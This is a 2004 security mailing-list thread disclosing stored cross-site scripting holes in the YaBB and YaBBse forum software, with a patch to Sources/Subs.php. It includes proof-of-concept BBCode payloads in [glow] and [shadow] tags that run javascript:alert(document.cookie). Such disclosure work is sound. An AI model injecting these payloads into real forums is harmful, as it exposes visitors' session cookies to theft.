RE: YaBB/YaBBse Cross Site Scripting Vulnerability
Hello,
this hole was discovered on 29/02/04 and published in french here :
http://www.phpsecure.info/v2/tutos/frog/YaBBSE-XSSPermanent.txt
We were waiting an official security fix by the YabbSE team (since 1 month)
to published the hole on some mailing-lists but they always didn't make
anything.
Another security hole is :
[glow=red,2);background:url(javascript:[SCRIPT],300]text[/glow]
The new YabbSE-Team's project (SMF 1.0b http://www.simplemachines.org )
seems to be bugged too.
To fix these holes, you just have to replaced the lines :
--------------------------------------------------------------------------
'/\[glow=(.+?),(.+?),(.+?)\](.+?)\[\/glow\]/eis',
'/\[shadow=(.+?),(.+?)\](.+?)\[\/shadow\]/eis',
--------------------------------------------------------------------------
by :
-----------------------------------------------------------------------------------
'/\[glow=([[:alpha:]]+?),(.+?),(.+?)\](.+?)\[\/glow\]/eis',
'/\[shadow=([[:alpha:]]+?),(.+?)\](.+?)\[\/shadow\]/eis',
-----------------------------------------------------------------------------------
and the line :
-----------------------------------------------------------------------------------------------------------------------------
"'<table style=\"border 0px;\"><tr><td style=\"filter:Glow(color=\\1,
strength=' . ('\\2' < 255 ? '\\2' : '255') . ');\">' . \"\\4\" .
'</td></tr></table>'",
-----------------------------------------------------------------------------------------------------------------------------
by :
-----------------------------------------------------------------------------------------------------------------------------
"'<table style=\"border 0px;\"><tr><td style=\"filter:Glow(color=\\1,
strength=' . intval( ('\\2' < 255 ? '\\2' : '255') ) . ');\">' . \"\\4\" .
'</td></tr></table>'",
-----------------------------------------------------------------------------------------------------------------------------
in the file Sources/Subs.php.
A fix can be found on http://www.phpsecure.info
Sorry for my poor english,
Germain Randaxhe aka frog-m@n
http://www.phpsecure.info
http://www.security-corporation.com
From: Cheng Peng Su <apple_soup@xxxxxxx>
To: bugtraq@xxxxxxxxxxxxxxxxx
Subject: YaBB/YaBBse Cross Site Scripting Vulnerability
Date: 14 Mar 2004 07:52:07 -0000
#####################################################################
Advisory Name : YaBB/YaBBse Cross Site Scripting Vulnerability
Release Date : Mar 14,2004
Application : YaBB/YaBBse
Test On : YaBB 1 Gold(SP1.3)
YaBB SE 1.5.1 Final
Vendor URL : http://www.yabbforum.com/
http://www.yabbse.org/
Discover : Cheng Peng Su(apple_soup_at_msn.com)
#####################################################################
Proof of conecpt:
The problem is in [glow] and [shadow] tag,yabb doesn't filter
the charactor in this tag,attack needn't visitor to click any
links,just when the vistor read the thread,XSS code will be
executed.
Exploit:
[glow=red);background:url(javascript:alert(document.cookie));filte
r:glow(color=red,2,300]Big Exploit[/glow]
[shadow=red);background:url(javascript:alert(document.cookie));fil
ter:shadow(color=red,left,300]Big Exploit[/shadow]
Contact:
Cheng Peng Su
Class 1,Senior 2,High school attached to Wuhan University
Wuhan,Hubei,China(430072)
apple_soup_at_msn.com
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